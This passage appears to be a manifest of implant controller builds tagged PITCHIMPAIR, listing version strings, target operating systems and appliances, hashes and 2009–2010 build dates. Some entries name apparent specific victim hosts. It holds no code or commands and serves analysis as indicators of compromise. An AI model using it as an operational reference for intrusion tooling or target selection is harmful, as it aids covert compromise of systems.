[PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.5.11.4_sparc-sun-solaris2.10 +32692253706A6A2E0F3FCB7DC274F8BB3ACF0C5B Wed Sep 23 21:08:14 2009 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.5.11.4_sparc-sun-solaris2.9 +32692253706A6A2E0F3FCB7DC274F8BB3ACF0C5B Wed Sep 23 21:08:14 2009 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.5.11.6_sparc-sun-solaris2.9 +D0975B9552EA30B8CA24C0410E153A952B2B1F14 Mon Sep 28 14:53:20 2009 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.5.12.1_x86-linux-suse-enterprise-9 +D0975B9552EA30B8CA24C0410E153A952B2B1F14 Mon Sep 28 14:53:20 2009 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.5.12.4_x86-linux-centos-5.3 +D0975B9552EA30B8CA24C0410E153A952B2B1F14 Mon Sep 28 14:53:20 2009 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.5.12.5_x86-linux-debian-4.0 +E06460F1BE2DA07880FCE300FA509EE7EBCA95DD Mon Sep 28 22:08:10 2009 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.5.12.6_x86_64-linux-centos-4.4 +E06460F1BE2DA07880FCE300FA509EE7EBCA95DD Mon Sep 28 22:08:10 2009 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.5.12.7_x86_64-linux-centos-5.3 +4B7A7E98EE8EA4C40A9E570A4BA7E5080010B5E5 Wed Sep 30 20:48:40 2009 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.5.12.8_x86_64-linux-centos-5.3 +D0975B9552EA30B8CA24C0410E153A952B2B1F14 Mon Sep 28 14:53:20 2009 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.5.12.9_x86-linux-centos-5.2 +D8B02FEFEA337F108473483E513CB96B3E2A95D2 Tue Oct 6 21:33:05 2009 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.5.13.1_x86-linux-centos-4.7 +D8B02FEFEA337F108473483E513CB96B3E2A95D2 Tue Oct 6 21:33:05 2009 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.5.13.2_x86-linux-asianux-1.0 +D8B02FEFEA337F108473483E513CB96B3E2A95D2 Tue Oct 6 21:33:05 2009 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.5.13.3_x86-linux-slackware-10.1 +0A12272626B2A9D6608EB7C120BA588738D7A07E Wed Oct 7 14:34:06 2009 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.5.13.4_x86-freebsd-5.3 +0A12272626B2A9D6608EB7C120BA588738D7A07E Wed Oct 7 14:34:06 2009 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.5.13.5_x86-freebsd-5.3-sassyninja +57C9ACD074C2367EEC6C6B3E14B0184AB2E0C702 Fri Oct 9 22:27:59 2009 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.5.14.1_x86_64-linux-redhat-enterprise-4.0 +57C9ACD074C2367EEC6C6B3E14B0184AB2E0C702 Fri Oct 9 22:27:59 2009 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.5.14.2_x86_64-linux-redhat-enterprise-5.0 +2240982FEC179626DA93A4EC11826FE1C1EAE6D4 Fri Oct 9 22:35:06 2009 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.5.14.3_x86-linux-ubuntu-8.04 +2240982FEC179626DA93A4EC11826FE1C1EAE6D4 Fri Oct 9 22:35:06 2009 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.5.14.5_x86-linux-fedora9 +0909BF6C335DB037FFC2FF25142504ADFF36FD10 Wed Oct 14 13:47:51 2009 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.5.15.1_x86-freebsd-7.1 +E5E18358C8383C5706756CC4EDAE39BCF589C91C Wed Oct 14 14:34:37 2009 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.5.15.2_x86-freebsd-7.2 +2D6C6B5942E9015125BD8408FBF645554DAE4DFB Tue Oct 20 10:55:41 2009 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.5.16.10_x86-freebsd-7.2 +8E480FC8B5A45F3872819EB1A7AC56CC1BD4BF33 Tue Oct 20 14:52:33 2009 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.5.16.11_x86-freebsd-5.3 +8E480FC8B5A45F3872819EB1A7AC56CC1BD4BF33 Tue Oct 20 14:52:33 2009 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.5.16.12_x86-freebsd-5.3-sassyninja +C16C2F54B91981D7E9B0BCEC1D173C5DE935BA57 Tue Oct 20 17:30:09 2009 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.5.16.13_x86_64-linux-debian-4.0 +D72E79E4901F82E0D3427C2035B9D29BD1313BE9 Mon Oct 19 20:20:42 2009 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.5.16.14_x86-linux-centos-5.2 +1F14BA7C6064BF52E5748B4CD420520740AE14AE Fri Oct 30 16:48:13 2009 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.5.16.15_x86_64-linux-redhat-enterprise-4.0 +B7C42D47EE9A598A6FE12E9AC8C3ECEA035BAD7C Thu Nov 5 21:00:41 2009 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.5.16.16_x86_64-linux-redhat-enterprise-5.0 +D72E79E4901F82E0D3427C2035B9D29BD1313BE9 Mon Oct 19 20:20:42 2009 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.5.16.17_x86-linux-fedora10 +D72E79E4901F82E0D3427C2035B9D29BD1313BE9 Mon Oct 19 20:20:42 2009 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.5.16.19_x86-linux-suse-10.2 +D72E79E4901F82E0D3427C2035B9D29BD1313BE9 Mon Oct 19 20:20:42 2009 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.5.16.1_x86-linux-debian-5.0 +D72E79E4901F82E0D3427C2035B9D29BD1313BE9 Mon Oct 19 20:20:42 2009 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.5.16.2_x86-linux-fedora10 +D72E79E4901F82E0D3427C2035B9D29BD1313BE9 Mon Oct 19 20:20:42 2009 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.5.16.3_x86-linux-fedora8 +D72E79E4901F82E0D3427C2035B9D29BD1313BE9 Mon Oct 19 20:20:42 2009 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.5.16.4_x86-linux-centos-5.3 +D72E79E4901F82E0D3427C2035B9D29BD1313BE9 Mon Oct 19 20:20:42 2009 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.5.16.5_x86-linux-redhat-7.3 +3FD70764129BBAFA212A7623EAF8A2A6613CFEDC Mon Oct 19 18:58:30 2009 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.5.16.8_x86-freebsd-7.1 +D72E79E4901F82E0D3427C2035B9D29BD1313BE9 Mon Oct 19 20:20:42 2009 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.5.16.9_x86-linux-suse-enterprise-9 +E952284292B2F8A88D256D506363219F84F5EE79 Mon Jan 11 20:34:50 2010 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.5.17.12_x86_64-linux-centos-5.2 +E952284292B2F8A88D256D506363219F84F5EE79 Mon Jan 11 20:34:50 2010 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.5.17.13_x86_64-linux-centos-5.1 +EBCC904FD217A8EE703B0406FB504363746250EF Wed Jan 20 23:18:55 2010 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.5.17.15_x86-linux-asianux-1.0 +EBCC904FD217A8EE703B0406FB504363746250EF Wed Jan 20 23:18:55 2010 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.5.17.16_x86-linux-slackware-10.1 +EBCC904FD217A8EE703B0406FB504363746250EF Wed Jan 20 23:18:55 2010 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.5.17.17_x86-linux-slackware-11.0 +E952284292B2F8A88D256D506363219F84F5EE79 Mon Jan 11 20:34:50 2010 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.5.17.18_x86_64-linux-redhat-enterprise-5.0 +EBCC904FD217A8EE703B0406FB504363746250EF Wed Jan 20 23:18:55 2010 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.5.17.1_x86-linux-suse-10.2 +EBCC904FD217A8EE703B0406FB504363746250EF Wed Jan 20 23:18:55 2010 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.5.17.20_x86-linux-suse-9.3 +DF9BFCABCC3AA0A7282FC8114DA57E55A212A169 Mon Jan 25 17:22:56 2010 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.5.17.22_x86_64-linux-suse-10.1 +F2555F8ECE4BF35F3C165328D809F2771E33BB03 Wed Jan 27 19:26:48 2010 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.5.17.24_x86-freebsd-7.0 +EBCC904FD217A8EE703B0406FB504363746250EF Wed Jan 20 23:18:55 2010 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.5.17.25_x86-linux-centos-4.8 +EBCC904FD217A8EE703B0406FB504363746250EF Wed Jan 20 23:18:55 2010 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.5.17.26_x86-linux-slackware-10.2 +EBCC904FD217A8EE703B0406FB504363746250EF Wed Jan 20 23:18:55 2010 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.5.17.27_x86-linux-steelsnob-babar +EBCC904FD217A8EE703B0406FB504363746250EF Wed Jan 20 23:18:55 2010 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.5.17.3_x86-linux-suse-10.3 +EBCC904FD217A8EE703B0406FB504363746250EF Wed Jan 20 23:18:55 2010 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.5.17.4_x86-linux-suse-10.1 +EBCC904FD217A8EE703B0406FB504363746250EF Wed Jan 20 23:18:55 2010 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.5.17.5_x86-linux-suse-10.0 +EBCC904FD217A8EE703B0406FB504363746250EF Wed Jan 20 23:18:55 2010 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.5.17.6_x86-linux-suse-10.0 +EBCC904FD217A8EE703B0406FB504363746250EF Wed Jan 20 23:18:55 2010 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.5.17.7_x86-linux-centos-5.4 +E952284292B2F8A88D256D506363219F84F5EE79 Mon Jan 11 20:34:50 2010 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.5.17.8_x86_64-linux-centos-5.3 +9A4B824590E262751BB93197E64E4423A84EC65F Thu Jan 28 17:41:45 2010 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.5.18.1_sparc-sun-solaris2.10 +4A4DC76C59235AA8A7931B3CDBEE4CB981D972DC Tue Feb 23 01:11:59 2010 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.5.19.1_x86_64-linux-redhat-enterprise-5.0 +38140E57F4F8EB373771063AC53D06F9607DB5E1 Tue Feb 23 17:44:06 2010 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.5.19.2_i386-pc-solaris2.10 +F6C8EBA2BD7B6122F4DEE926F2B505ACEE61485B Tue Mar 16 19:39:07 2010 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.5.20.10_x86-linux-darkthunder-nsp.yemen.net.ye +001DFA2AAE09FF263AAB9C5C70E187709E83C9B9 Wed Mar 17 17:25:03 2010 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.5.20.12_x86-freebsd-7.1 +2287568D61B1BB08CB2DFC603B3A0FC00279D417 Wed Feb 24 20:47:51 2010 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.5.20.1_x86-freebsd-5.4 +238504A764D835D1C2B26C6A2B4CC07BA1A8F5C2 Thu Feb 25 16:06:49 2010 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.5.20.2_x86-freebsd-6.1 +F01AD6993B65F6F4E17A1A640B5CECEE7A8C64AF Thu Feb 25 19:16:20 2010 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.5.20.3_x86-freebsd-6.0 +9E71E9B39A5A913D2522886E14B701794E6C4A4E Thu Feb 25 19:33:12 2010 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.5.20.4_x86-freebsd-6.2 +F4DA1E125908A9C36A05E50E367F28B0F4C25727 Tue Mar 2 18:46:10 2010 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.5.20.6_x86-freebsd-5.5 +ACE5A2081420C886DB945F66E7F306AC3577AF41 Fri Mar 5 14:28:38 2010 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.5.20.7_x86-linux-centos-5.4 +ACE5A2081420C886DB945F66E7F306AC3577AF41 Fri Mar 5 14:28:38 2010 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.5.20.8_x86-linux-straitshooter-ibs-bk +ACE5A2081420C886DB945F66E7F306AC3577AF41 Fri Mar 5 14:28:38 2010 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.5.20.9_x86-linux-centos-4.8 +F644F7C11B32373B66D120912FAF9F0E8C8763AE Mon Mar 1 19:29:41 2010 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.5.21.1_x86-junos-9.6 +BECB6B1AB381E592381530D40733A9C570A0B948 Tue Mar 16 20:11:38 2010 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.5.21.2_x86_64-linux-debian-5.0 +BECB6B1AB381E592381530D40733A9C570A0B948 Tue Mar 16 20:11:38 2010 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.5.21.3_x86_64-linux-centos-5.0 +BECB6B1AB381E592381530D40733A9C570A0B948 Tue Mar 16 20:11:38 2010 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.5.21.4_x86_64-linux-scientific-5.1 +BECB6B1AB381E592381530D40733A9C570A0B948 Tue Mar 16 20:11:38 2010 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.5.21.5_x86_64-linux-suse-10.2 +D5B483C4C8B75BA86ED94DA6C580A2C2B677A275 Wed Mar 17 18:37:35 2010 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.5.21.6_x86-linux-redhat-enterprise-5.4 +494CE7540721FD4D7D88452813285A980ECD75B3 Wed Mar 24 00:15:37 2010 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.5.22.2_x86_64-linux-redhat-enterprise-5.4 +6B43DDA6C807D479788D9E7D39A6D4014064FF80 Wed Mar 31 22:00:59 2010 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.5.22.3_x86-linux-centos-5.4 +6B43DDA6C807D479788D9E7D39A6D4014064FF80 Wed Mar 31 22:00:59 2010 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.5.22.4_x86-linux-redhat-8.0 +3109D17F9CAA66CADCF540C5BC47CFE27789E453 Thu Apr 1 18:18:51 2010 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.5.22.5_x86_64-linux-debian-5.0 +6B43DDA6C807D479788D9E7D39A6D4014064FF80 Wed Mar 31 22:00:59 2010 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.5.22.6_x86-linux-debian-5.0 +890BE8AA47FB2D8514E0C9D286971BB9264195E8 Tue Apr 27 00:24:08 2010 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.5.23.1_x86_64-linux-vinifera-ie103 +4A15511AB8FB932F3E3DEA52595128CD4AC947BB Thu Apr 29 14:43:06 2010 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.5.23.2_x86_64-linux-vinifera-ie104 +4A15511AB8FB932F3E3DEA52595128CD4AC947BB Thu Apr 29 14:43:06 2010 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.5.23.3_x86_64-linux-centos-5.4 +244B07E92521DDF886EA08D921450FCBF06E88BF Mon May 10 14:51:52 2010 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.5.23.4_x86-linux-redhat-enterprise-5.2 +244B07E92521DDF886EA08D921450FCBF06E88BF Mon May 10 14:51:52 2010 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.5.23.5_x86-linux-centos-4.8 +51CEDD7E5D6AA8CFEB2A8D3F14D4D184DF378176 Fri May 14 12:07:15 2010 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.5.24.1_sparc-sun-solaris2.7 +7F2C3F6DA4BE702AF1A32845A759B80BA4831C17 Fri May 14 17:49:13 2010 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.5.24.2_x86-linux-avaya-5.2.1 +D6F1EA260B9DDA202295CF8A8A152E86A5CE8D21 Fri May 21 17:19:47 2010 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.5.25.1_x86-linux-ubuntu-8.04 +D6F1EA260B9DDA202295CF8A8A152E86A5CE8D21 Fri May 21 17:19:47 2010 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.5.25.2_x86-linux-centos-3.6 +D6F1EA260B9DDA202295CF8A8A152E86A5CE8D21 Fri May 21 17:19:47 2010 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.5.25.3_x86-linux-redhat-enterprise-4.0 +D6F1EA260B9DDA202295CF8A8A152E86A5CE8D21 Fri May 21 17:19:47 2010 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.5.25.4_x86-linux-centos-3.6 +C5AE6AF04F0FADA2B7179067E8DB460AC4D4ECEF Thu Jun 24 19:14:09 2010 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.5.26.1_x86-linux-avaya +3F59989E587080021223A66C3F69B2E81030A547 Wed Jun 9 11:56:41 2010 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.5.26.2_x86_64-freebsd-7.0 +4D24166E1B34DBBA6EC672D2C9B7D0071E82936C Wed Jun 16 16:53:33 2010 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.5.26.4_x86_64_linux_suse_10.2_bin +C5AE6AF04F0FADA2B7179067E8DB460AC4D4ECEF Thu Jun 24 19:14:09 2010 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.5.26.5_x86-linux-wickedviper +DC4794D028596E6623C2979E8BA2C0F29CFEE90E Thu Jun 24 21:55:39 2010 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.5.27.1_x86-linux-redhat-enterprise-5.3 +90CFA5E11F2FD13A8911200170F1762624564314 Wed Jun 30 17:20:34 2010 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.5.29.1_x86-linux-redhat-enterprise-5.2 +FFA5679F78441E82A2C4D38CD20AACF0FC6E4A09 Tue Jun 29 21:14:27 2010 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.5.29.2_x86-linux-centos-5.2 +90CFA5E11F2FD13A8911200170F1762624564314 Wed Jun 30 17:20:34 2010 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.5.29.3_x86-linux-redhat-enterprise-5.5 +90CFA5E11F2FD13A8911200170F1762624564314 Wed Jun 30 17:20:34 2010 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.5.29.4_x86-linux-redhat-enterprise-3.0 +7DA311FB705688E43D89D6853D49BDC48EBE4527 Fri Jul 2 23:42:12 2010 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.5.29.5_x86_64-linux-centos-5.5 +0FCD2E8703CCB11166186CD3FC1050B7B1AA1C88 Wed Jun 17 19:53:50 2009 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.5.3.1_x86-junos-9.0 +1F3FF024CB52B67B55DA763E4BA7C0829087E7E4 Thu Jun 18 13:02:34 2009 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.5.3.2_x86-freebsd-7.0 +E49609A0DD3FA6B216A5D3DA97835A1AEA37DDF2 Sat Jul 3 03:09:40 2010 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.5.30.1_x86-linux-ubuntu-8.04 +8A7AFB8D9D4D74240EDC96DA80BEFA64F1E36300 Wed Jul 7 21:46:41 2010 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.5.30.2_x86-linux-centos-5.5 +E49609A0DD3FA6B216A5D3DA97835A1AEA37DDF2 Sat Jul 3 03:09:40 2010 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.5.30.5_x86-linux-avaya +8A7AFB8D9D4D74240EDC96DA80BEFA64F1E36300 Wed Jul 7 21:46:41 2010 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.5.30.6_x86-linux-centos-5.4 +A71890DCE0AAC34F5380CD43A976327185907650 Thu Jul 22 13:26:28 2010 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.5.31.10_sparc-sun-solaris2.10 +3FF3D0C02E0A8D8328892A66AE03FC1AE98DF4E0 Thu Jul 22 13:55:17 2010 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.5.31.11_i386-pc-solaris2.10 +254EAAD2C18740B070B2F6FD9B11455E28B2C37D Mon Jul 26 18:17:40 2010 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.5.31.12_sparc-sun-solaris2.9 +E652ACBAE3B65E5B114D848B5D463D85D1FD2208 Wed Jul 28 18:06:34 2010 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.5.31.13_sparc-sun-solaris2.8 +E652ACBAE3B65E5B114D848B5D463D85D1FD2208 Wed Jul 28 18:06:34 2010 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.5.31.14_sparc-sun-solaris2.8 +CD5C9473E070A9E051697E5C3E21B90A525F5CCC Tue Jul 13 16:02:21 2010 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.5.31.1_x86-linux-slackware-13.0 +198C869E108F9E659EC712568DCD8D001813DFD1 Wed Jul 14 17:02:54 2010 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.5.31.2_x86-linux-slackware-9.1 +198C869E108F9E659EC712568DCD8D001813DFD1 Wed Jul 14 17:02:54 2010 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.5.31.3_x86-linux-slackware-10.0 +198C869E108F9E659EC712568DCD8D001813DFD1 Wed Jul 14 17:02:54 2010 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.5.31.4_x86-linux-slackware-10.1 +198C869E108F9E659EC712568DCD8D001813DFD1 Wed Jul 14 17:02:54 2010 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.5.31.5_x86-linux-slackware-10.2 +198C869E108F9E659EC712568DCD8D001813DFD1 Wed Jul 14 17:02:54 2010 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.5.31.6_x86-linux-slackware-11.0 +198C869E108F9E659EC712568DCD8D001813DFD1 Wed Jul 14 17:02:54 2010 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.5.31.7_x86-linux-slackware-12.0 +71745D5AF56B28034729592363C24EFDDC328667 Tue Jul 20 21:03:26 2010 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.5.31.8_x86_64-linux-centos-5.3 +4DF278A02BC78D9878D17DE51C287786CE9D8F02 Fri Jul 23 20:58:56 2010 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.5.32.1_x86-linux-redhat-enterprise-5.0 +9A8BC6B47E4BE111365D041FC7DEFE16830BBA99 Wed Aug 4 16:11:11 2010 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.5.33.1_x86_linux_slackware_13.0_i386_linux +9A8BC6B47E4BE111365D041FC7DEFE16830BBA99 Wed Aug 4 16:11:11 2010 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.5.33.2_x86-linux-optimusprime-vezarat.dolat.ir +9A8BC6B47E4BE111365D041FC7DEFE16830BBA99 Wed Aug 4 16:11:11 2010 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.5.33.4_x86-linux-slackware-12.0 +9A8BC6B47E4BE111365D041FC7DEFE16830BBA99 Wed Aug 4 16:11:11 2010 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.5.33.5_x86-linux-avaya-3.1.4 +AD34DE1178AEEC81AED0998FB0AC6277394C36EF Tue Aug 24 20:15:25 2010 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.5.33.6_x86-linux-centos-5.3 +F2A0F01ADD63CDCD9F22085BEE37EFD730F24943 Thu Aug 26 13:28:26 2010 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.5.34.1_x86-junos-9.2 +60EB6181C1F200944A5FCB40D4FBE6BAD61EC431 Mon Oct 4 20:21:03 2010 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.5.34.2_x86-junos-9.3 +60EB6181C1F200944A5FCB40D4FBE6BAD61EC431 Mon Oct 4 20:21:03 2010 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.5.34.3_x86-junos-8.5 +DC6089F8486354949BBD2941789FFBB2988D2D67 Thu Aug 26 21:28:59 2010 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.5.34.3_x86-linux-alt-1.0 +60EB6181C1F200944A5FCB40D4FBE6BAD61EC431 Mon Oct 4 20:21:03 2010 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.5.34.4_x86-junos-9.0 +60EB6181C1F200944A5FCB40D4FBE6BAD61EC431 Mon Oct 4 20:21:03 2010 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.5.34.5_x86-junos-9.1 +60EB6181C1F200944A5FCB40D4FBE6BAD61EC431 Mon Oct 4 20:21:03 2010 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.5.34.6_x86-junos-9.4 +60EB6181C1F200944A5FCB40D4FBE6BAD61EC431 Mon Oct 4 20:21:03 2010 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.5.34.7_x86-junos-9.5 +60EB6181C1F200944A5FCB40D4FBE6BAD61EC431 Mon Oct 4 20:21:03 2010 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.5.34.8_x86-junos-9.6 +6F74A862494E13D4A0996820E1F3901637BD6A4E Fri Sep 10 17:13:43 2010 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.5.35.1_x86-linux-bigip-9.1.2 +D3705F4829614628D4BDB91AB8A5E79AE255B7A2 Fri Oct 1 16:55:59 2010 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.5.36.3_x86-linux-bigip-9.2.4 +CC37E6B93E98CA25452DDC38A7B5760F1901450A Thu Oct 21 18:38:13 2010 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.5.37.2_x86-linux-bigip-9.2.4 +246AE4AF748B2B291454F4D21C1C6F05C56A970A Tue Jun 30 05:29:53 2009 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.5.4.1_x86-linux-asianux-1.0 +246AE4AF748B2B291454F4D21C1C6F05C56A970A Tue Jun 30 05:29:53 2009 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.5.4.2_x86-linux-suse-10.3 +246AE4AF748B2B291454F4D21C1C6F05C56A970A Tue Jun 30 05:29:53 2009 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.5.4.3_x86-linux-suse-10.0 +66861E95F88FB0FB006088FD7C4F09859F6F22D3 Mon Jun 22 20:08:10 2009 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.5.4.4_x86-linux-avaya +246AE4AF748B2B291454F4D21C1C6F05C56A970A Tue Jun 30 05:29:53 2009 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.5.4.5_x86-linux-ubuntu-8.04 +4DB3056DEFA44469FF80C7B747292923C95AE601 Tue Jun 30 16:27:30 2009 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.5.6.1_x86-junos-8.5 +4DB3056DEFA44469FF80C7B747292923C95AE601 Tue Jun 30 16:27:30 2009 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.5.6.2_x86-junos-9.0 +4DB3056DEFA44469FF80C7B747292923C95AE601 Tue Jun 30 16:27:30 2009 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.5.6.3_x86-junos-9.1 +4DB3056DEFA44469FF80C7B747292923C95AE601 Tue Jun 30 16:27:30 2009 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.5.6.4_x86-junos-9.2 +4E0A0B81979120DB12054CF405F0FBBE760545DC Thu Aug 13 21:57:41 2009 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.5.6.5_x86-junos-9.3 +4E0A0B81979120DB12054CF405F0FBBE760545DC Thu Aug 13 21:57:41 2009 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.5.6.6_x86-junos-9.4 +4E0A0B81979120DB12054CF405F0FBBE760545DC Thu Aug 13 21:57:41 2009 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.5.6.7_x86-junos-9.5 +2C9A906E37DC380239B39497F43D3B8555117656 Fri Jul 31 16:40:51 2009 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.5.8.1_x86-linux-alt-2.4 +2C9A906E37DC380239B39497F43D3B8555117656 Fri Jul 31 16:40:51 2009 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.5.8.2_x86-linux-redhat-7.2 +2C9A906E37DC380239B39497F43D3B8555117656 Fri Jul 31 